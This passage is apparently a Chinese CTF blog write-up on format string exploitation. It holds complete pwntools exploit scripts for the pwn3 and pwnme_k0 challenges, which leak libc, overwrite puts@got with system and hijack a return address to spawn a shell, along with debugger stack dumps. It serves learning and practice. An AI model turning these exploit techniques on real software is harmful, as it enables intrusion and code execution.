<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">yutao@pwnbaby:~/ctf-challenges/pwn/fmtstr/2016-CCTF-pwn3$ ldd pwn3</span><br><span class="line">	linux-gate.so.1 (0xf7f10000)</span><br><span class="line">	libc.so.6 =&gt; /lib/i386-linux-gnu/libc.so.6 (0xf7d19000)</span><br><span class="line">	/lib/ld-linux.so.2 (0xf7f11000)</span><br></pre></td></tr></table></figure>

<p>从上图可以看到真正用到的是”&#x2F;lib&#x2F;i386-linux-gnu&#x2F;libc.so.6“这个库，所以把这个库载入进来就可以了：‘</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">libc = ELF(<span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">libc.address = puts_addr - libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">sys_addr = libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br></pre></td></tr></table></figure>

<p>接下来就是覆盖puts函数了，首先介绍下pwntools中的fmtstr_payload函数</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">fmtstr_payload(offset, writes, numbwritten=0, write_size=&#x27;byte&#x27;)</span><br><span class="line">第一个参数表示格式化字符串的偏移；</span><br><span class="line">第二个参数表示需要利用%n写入的数据，采用字典形式，我们要将printf的GOT数据改为system函数地址，就写成&#123;printfGOT: systemAddress&#125;；本题是将0804a048处改为0x2223322</span><br><span class="line">第三个参数表示已经输出的字符个数，这里没有，为0，采用默认值即可；</span><br><span class="line">第四个参数表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。</span><br><span class="line">fmtstr_payload函数返回的就是payload</span><br></pre></td></tr></table></figure>

<p>那么这道题中payload这样写：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payload = fmtstr_payload(<span class="number">7</span>, &#123;puts_got: sys_addr&#125;)</span><br></pre></td></tr></table></figure>

<p><strong>EXP：</strong></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: UTF-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">sh = process(<span class="string">&#x27;./pwn3&#x27;</span>)</span><br><span class="line">pwn3 = ELF(<span class="string">&#x27;./pwn3&#x27;</span>)</span><br><span class="line">sh.recvuntil(<span class="string">&#x27;Name (ftp.hacker.server:Rainism):&#x27;</span>)</span><br><span class="line"></span><br><span class="line">tmp = <span class="string">&#x27;sysbdmin&#x27;</span></span><br><span class="line">name = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> tmp:</span><br><span class="line">    name += <span class="built_in">chr</span>(<span class="built_in">ord</span>(i) - <span class="number">1</span>)</span><br><span class="line"><span class="comment">#登录密码：rxraclhm</span></span><br><span class="line">sh.sendline(name)</span><br><span class="line"><span class="comment">#通过puts函数把部署好的泄露任意地址的payload写进去</span></span><br><span class="line">puts_got = pwn3.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">sh.sendline(<span class="string">&#x27;put&#x27;</span>)</span><br><span class="line">sh.recvuntil(<span class="string">&#x27;please enter the name of the file you want to upload:&#x27;</span>)</span><br><span class="line">sh.sendline(<span class="string">&#x27;Cyberangel&#x27;</span>)</span><br><span class="line">sh.recvuntil(<span class="string">&#x27;then, enter the content:&#x27;</span>)</span><br><span class="line">payload=<span class="string">&#x27;%8$s&#x27;</span> + p32(puts_got)</span><br><span class="line">sh.sendline(payload)</span><br><span class="line"><span class="comment">#通过get泄露puts函数地址</span></span><br><span class="line">sh.sendline(<span class="string">&#x27;get&#x27;</span>)</span><br><span class="line">sh.recvuntil(<span class="string">&#x27;enter the file name you want to get:&#x27;</span>)</span><br><span class="line">sh.sendline(<span class="string">&#x27;Cyberangel&#x27;</span>)</span><br><span class="line">puts_addr = u32(sh.recv()[:<span class="number">4</span>])</span><br><span class="line"><span class="comment">#从库中找到system函数地址</span></span><br><span class="line">libc = ELF (<span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">libc.address = puts_addr - libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">sys_addr=libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"><span class="comment">#将第七个参数的puts函数地址改成system函数地址</span></span><br><span class="line">payload = fmtstr_payload(<span class="number">7</span>, &#123;puts_got: sys_addr&#125;)</span><br><span class="line">sh.sendline(<span class="string">&#x27;put&#x27;</span>)</span><br><span class="line">sh.recvuntil(<span class="string">&#x27;please enter the name of the file you want to upload:&#x27;</span>)</span><br><span class="line"><span class="comment">#在运行show_dir时将puts(”/bin/sh;“)变成system(&quot;/bin/sh;&quot;),并成功获取shell</span></span><br><span class="line">sh.sendline(<span class="string">&#x27;/bin/sh;&#x27;</span>)</span><br><span class="line">sh.recvuntil(<span class="string">&#x27;then, enter the content:&#x27;</span>)</span><br><span class="line">sh.sendline(payload)</span><br><span class="line"><span class="comment">#通过get打印‘/bin/sh;’文件，执行system(&#x27;/bin/sh;&#x27;)</span></span><br><span class="line">sh.recvuntil(<span class="string">&#x27;ftp&gt;&#x27;</span>)</span><br><span class="line">sh.sendline(<span class="string">&#x27;get&#x27;</span>)</span><br><span class="line">sh.recvuntil(<span class="string">&#x27;enter the file name you want to get:&#x27;</span>)</span><br><span class="line">sh.sendline(<span class="string">&#x27;/bin/sh;&#x27;</span>)</span><br><span class="line"><span class="comment">#通过dir来拿到shell</span></span><br><span class="line">sh.sendline(<span class="string">&#x27;dir&#x27;</span>)</span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure>

<p>最后总结下思路</p>
<ol>
<li>绕过密码</li>
<li>确定格式化字符串参数偏移</li>
<li>利用 put@got 获取 put 函数地址，进而获取对应的 libc.so 的版本，进而获取对应 system 函数地址。</li>
<li>修改 puts@got 的内容为 system 的地址。</li>
<li>当程序再次执行 puts 函数的时候，其实执行的是 system 函数。</li>
</ol>
<h2 id="hijack-retaddr"><a href="#hijack-retaddr" class="headerlink" title="hijack retaddr"></a>hijack retaddr</h2><h3 id="原理-2"><a href="#原理-2" class="headerlink" title="原理"></a>原理</h3><p>利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。</p>
<h3 id="例子-2"><a href="#例子-2" class="headerlink" title="例子"></a>例子</h3><p>这里用的是<strong>三个白帽-pwnme_k0</strong>为例<br><a target="_blank" rel="noopener" href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/%E4%B8%89%E4%B8%AA%E7%99%BD%E5%B8%BD-pwnme_k0">https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/三个白帽-pwnme_k0</a></p>
<p>checksek一下：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">hacker@ubuntu:~/Desktop/ctf-challenges/pwn/fmtstr/三个白帽-pwnme_k0$ checksec pwnme_k0</span><br><span class="line">[*] <span class="string">&#x27;/home/hacker/Desktop/ctf-challenges/pwn/fmtstr/\xe4\xb8\x89\xe4\xb8\xaa\xe7\x99\xbd\xe5\xb8\xbd-pwnme_k0/pwnme_k0&#x27;</span></span><br><span class="line">    Arch:     amd64<span class="number">-64</span>-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      <span class="function">No <span class="title">PIE</span> <span class="params">(<span class="number">0x400000</span>)</span></span></span><br><span class="line"><span class="function"></span></span><br></pre></td></tr></table></figure>

<p>程序的大致就是注册账户之类的，下面代码存在漏洞：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __fastcall <span class="title">sub_400B07</span><span class="params">(<span class="keyword">char</span> format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, <span class="keyword">char</span> formata, __int64 a8, __int64 a9)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  write(<span class="number">0</span>, <span class="string">&quot;Welc0me to sangebaimao!\n&quot;</span>, <span class="number">0x1A</span>uLL);</span><br><span class="line">  <span class="built_in">printf</span>(&amp;formata, <span class="string">&quot;Welc0me to sangebaimao!\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)&amp;a9 + <span class="number">4</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<p>看了字符串发现有可以直接利用的system(‘&#x2F;bin&#x2F;sh’),所以只要用格式化字符串漏洞直接修改某个函数的返回地址为0x4008A6就可以了。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">.text:00000000004008A6 sub_4008A6      proc near</span><br><span class="line">.text:00000000004008A6 ; __unwind &#123;</span><br><span class="line">.text:00000000004008A6                 push    rbp</span><br><span class="line">.text:00000000004008A7                 mov     rbp, rsp</span><br><span class="line">.text:00000000004008AA                 mov     edi, offset command ; &quot;/bin/sh&quot;</span><br><span class="line">.text:00000000004008AF                 call    system</span><br><span class="line">.text:00000000004008B4                 pop     rdi</span><br><span class="line">.text:00000000004008B5                 pop     rsi</span><br><span class="line">.text:00000000004008B6                 pop     rdx</span><br><span class="line">.text:00000000004008B7                 retn</span><br></pre></td></tr></table></figure>

<p>在000400B39处下断点，，输入后s跟进printf，跟进去的话栈上第一个肯定就是返回地址，所以返回地址后跟着的句式参数7(offset 6)。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">─────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────</span><br><span class="line"> RAX  0x0</span><br><span class="line"> RBX  0x0</span><br><span class="line"> RCX  0x0</span><br><span class="line"> RDX  0x0</span><br><span class="line"> RDI  0x7fffffffdd44 ◂— &#x27;%p%p%p%p%p%p%p%p\n&#x27;</span><br><span class="line"> RSI  0x603260 ◂— &#x27;qwertyui\nngebaimao:(\ntion!\nth:20): \n**********\n&#x27;</span><br><span class="line"> R8   0x0</span><br><span class="line"> R9   0x7ffff7b502d0 (__memcpy_ssse3+7232) ◂— mov    rcx, qword ptr [rsi - 9]</span><br><span class="line"> R10  0x7ffff7b80c40 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]</span><br><span class="line"> R11  0x246</span><br><span class="line"> R12  0x4007b0 ◂— xor    ebp, ebp</span><br><span class="line"> R13  0x7fffffffdef0 ◂— 0x1</span><br><span class="line"> R14  0x0</span><br><span class="line"> R15  0x0</span><br><span class="line"> RBP  0x7fffffffdd20 —▸ 0x7fffffffdd60 —▸ 0x7fffffffde10 —▸ 0x400eb0 ◂— push   r15</span><br><span class="line">*RSP  0x7fffffffdd18 —▸ 0x400b3e ◂— nop    </span><br><span class="line">*RIP  0x7ffff7a46f70 (printf) ◂— sub    rsp, 0xd8</span><br><span class="line">────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────</span><br><span class="line"> ► 0x7ffff7a46f70 &lt;printf&gt;        sub    rsp, 0xd8</span><br><span class="line">    ↓</span><br><span class="line">   0x7ffff7a46f79 &lt;printf+9&gt;      mov    qword ptr [rsp + 0x28], rsi</span><br><span class="line">   0x7ffff7a46f7e &lt;printf+14&gt;     mov    qword ptr [rsp + 0x30], rdx</span><br><span class="line">   0x7ffff7a46f83 &lt;printf+19&gt;     mov    qword ptr [rsp + 0x38], rcx</span><br><span class="line">   0x7ffff7a46f88 &lt;printf+24&gt;     mov    qword ptr [rsp + 0x40], r8</span><br><span class="line">   0x7ffff7a46f8d &lt;printf+29&gt;     mov    qword ptr [rsp + 0x48], r9</span><br><span class="line">   0x7ffff7a46f92 &lt;printf+34&gt;     je     printf+91 &lt;printf+91&gt;</span><br><span class="line">    ↓</span><br><span class="line">   0x7ffff7a46fcb &lt;printf+91&gt;     mov    rax, qword ptr fs:[0x28]</span><br><span class="line">   0x7ffff7a46fd4 &lt;printf+100&gt;    mov    qword ptr [rsp + 0x18], rax</span><br><span class="line">   0x7ffff7a46fd9 &lt;printf+105&gt;    xor    eax, eax</span><br><span class="line">   0x7ffff7a46fdb &lt;printf+107&gt;    lea    rax, [rsp + 0xe0]</span><br><span class="line">─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────</span><br><span class="line">00:0000│ rsp    0x7fffffffdd18 —▸ 0x400b3e ◂— nop    </span><br><span class="line">01:0008│ rbp    0x7fffffffdd20 —▸ 0x7fffffffdd60 —▸ 0x7fffffffde10 —▸ 0x400eb0 ◂— push   r15</span><br><span class="line">02:0010│        0x7fffffffdd28 —▸ 0x400d74 ◂— add    rsp, 0x30</span><br><span class="line">03:0018│        0x7fffffffdd30 ◂— &#x27;qwertyui\n&#x27;</span><br><span class="line">04:0020│        0x7fffffffdd38 ◂— 0xa /* &#x27;\n&#x27; */</span><br><span class="line">05:0028│ rdi-4  0x7fffffffdd40 ◂— 0x7025702500000000</span><br><span class="line">06:0030│        0x7fffffffdd48 ◂— &#x27;%p%p%p%p%p%p\n&#x27;</span><br><span class="line">07:0038│        0x7fffffffdd50 ◂— 0xa70257025 /* &#x27;%p%p\n&#x27; */</span><br><span class="line">───────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────</span><br><span class="line"> ► f 0     7ffff7a46f70 printf</span><br><span class="line">   f 1           400b3e</span><br><span class="line">   f 2           400d74</span><br><span class="line">   f 3           400e98</span><br><span class="line">   f 4     7ffff7a03bf7 __libc_start_main+231</span><br><span class="line">───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span><br></pre></td></tr></table></figure>

<p><strong>虽然存储返回地址的内存本身是动态变化的，但是其相对于rbp的地址并不会改变，所以我们可以使用相对地址来计算。</strong></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────</span><br><span class="line">00:0000│ rsp    0x7fffffffdd18 —▸ 0x400b3e ◂— nop    （返回地址）</span><br><span class="line">01:0008│ rbp    0x7fffffffdd20 —▸ 0x7fffffffdd60 offset 6(因为格式化串是参数1，前6个参数存在寄存器里，所以这里是参数7，相对格式化串就是偏移6)</span><br><span class="line">02:0010│        0x7fffffffdd28 —▸ 0x400d74 ◂— add    rsp, 0x30</span><br><span class="line">03:0018│        0x7fffffffdd30 ◂— &#x27;aaaaaaaa\n&#x27;</span><br><span class="line">04:0020│        0x7fffffffdd38 ◂— 0xa /* &#x27;\n&#x27; */</span><br><span class="line">05:0028│ rdi-4  0x7fffffffdd40 ◂— 0x7025702500000000</span><br><span class="line">06:0030│        0x7fffffffdd48 ◂— &#x27;%p%p%p%p%p%p\n&#x27;</span><br><span class="line">07:0038│        0x7fffffffdd50 ◂— 0xa70257025 /* &#x27;%p%p\n&#x27; */</span><br><span class="line">───────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────</span><br><span class="line"> ► f 0     7ffff7a46f70 printf</span><br><span class="line">   f 1           400b3e</span><br><span class="line">   f 2           400d74</span><br><span class="line">   f 3           400e98</span><br><span class="line">   f 4     7ffff7a03bf7 __libc_start_main+231</span><br></pre></td></tr></table></figure>

<p>这里的返回地址是printf的返回地址，这时rbp还没有变化，还未进入printf，所以rbp指向的是原来rbp的地址(old rbp)。所以当前返回地址是rbp+8，即0x400d74。</p>
<p>在0x7fffffffdd28这里存着，它相对于old rbp的地址就是：0x7fffffffdd60 - 0x7fffffffdd28 &#x3D; 0x38</p>
<p>用格式化串先读offst 6，也就是0x7fffffffdd20，得到rbp地址：0x7fffffffdd60，再减去0x38就得到存储返回地址的内存地址是0x7fffffffdd28</p>
<p>然后就可以去覆盖这个地址存放的返回值为我们的system(‘&#x2F;bin&#x2F;sh’)即0x4008A6，即需要把400D74覆盖成4008A6，即：写成0x08A6 &#x3D; 2214。</p>
<p>这里需要说明的是在某些较新的系统 (如 ubuntu 18.04) 上, 直接修改返回地址为 0x00000000004008A6 时可能会发生程序 crash, 这时可以考虑修改返回地址为 0x00000000004008AA, 即直接调用 system(“&#x2F;bin&#x2F;sh”) 处，即2218</p>
<p>exp1：通过把 username 改成计算出来的 ret 的地址</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">io = process(<span class="string">&quot;./pwnme_k0&quot;</span>)</span><br><span class="line">context.log_level=<span class="string">&quot;debug&quot;</span></span><br><span class="line"><span class="comment">#get retaddr</span></span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;1&quot;</span>*<span class="number">8</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;%6$p&quot;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">io.recvuntil(<span class="string">&quot;0x&quot;</span>)</span><br><span class="line">retaddr = <span class="built_in">int</span>(io.recvline().strip(), <span class="number">16</span>) - <span class="number">0x38</span></span><br><span class="line"><span class="comment">#print &quot;retaddr = &quot; + hex(retaddr)</span></span><br><span class="line">io.sendline(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(p64(retaddr))</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;%2218d%8$hn&quot;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>Exp2：在 password 后面跟上 ret 地址来修改</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwnme_k0&#x27;</span>)</span><br><span class="line">p=process(<span class="string">&#x27;./pwnme_k0&#x27;</span>)</span><br><span class="line">p.recv()</span><br><span class="line">p.sendline(<span class="string">&#x27;a&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">p.recv()</span><br><span class="line">p.sendline(<span class="string">&#x27;%6$p&#x27;</span>)</span><br><span class="line">p.recv()</span><br><span class="line">p.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;0x&quot;</span>)</span><br><span class="line">ret_addr = <span class="built_in">int</span>(p.recvline().strip(), <span class="number">16</span>) - <span class="number">0x38</span></span><br><span class="line">p.sendline(<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">p.recv()</span><br><span class="line">p.sendline(<span class="string">&#x27;b&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">p.recv()</span><br><span class="line">payload = <span class="string">&quot;%2218u%12$hn&quot;</span> + p64(ret_addr)</span><br><span class="line">p.send(payload)</span><br><span class="line">p.recvuntil(<span class="string">&#x27;&gt;&#x27;</span>)</span><br><span class="line">p.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>


                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/02/02/Linux%E4%BF%9D%E6%8A%A4%E6%8A%80%E6%9C%AF/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-02-06
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/PWN/" title="PWN">
              <b>#</b> PWN
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2021/02/10/ret2csu/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E4%BE%8B%E5%AD%90"><span class="toc-text">格式化字符串漏洞例子</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#64%E4%BD%8D%E7%A8%8B%E5%BA%8F%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E"><span class="toc-text">64位程序格式化字符串漏洞</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8E%9F%E7%90%86"><span class="toc-text">原理</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%90"><span class="toc-text">例子</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#hijack-GOT"><span class="toc-text">hijack GOT</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8E%9F%E7%90%86-1"><span class="toc-text">原理</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%90-1"><span class="toc-text">例子</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#hijack-retaddr"><span class="toc-text">hijack retaddr</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8E%9F%E7%90%86-2"><span class="toc-text">原理</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BE%8B%E5%AD%90-2"><span class="toc-text">例子</span></a></li></ol></li></ol></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
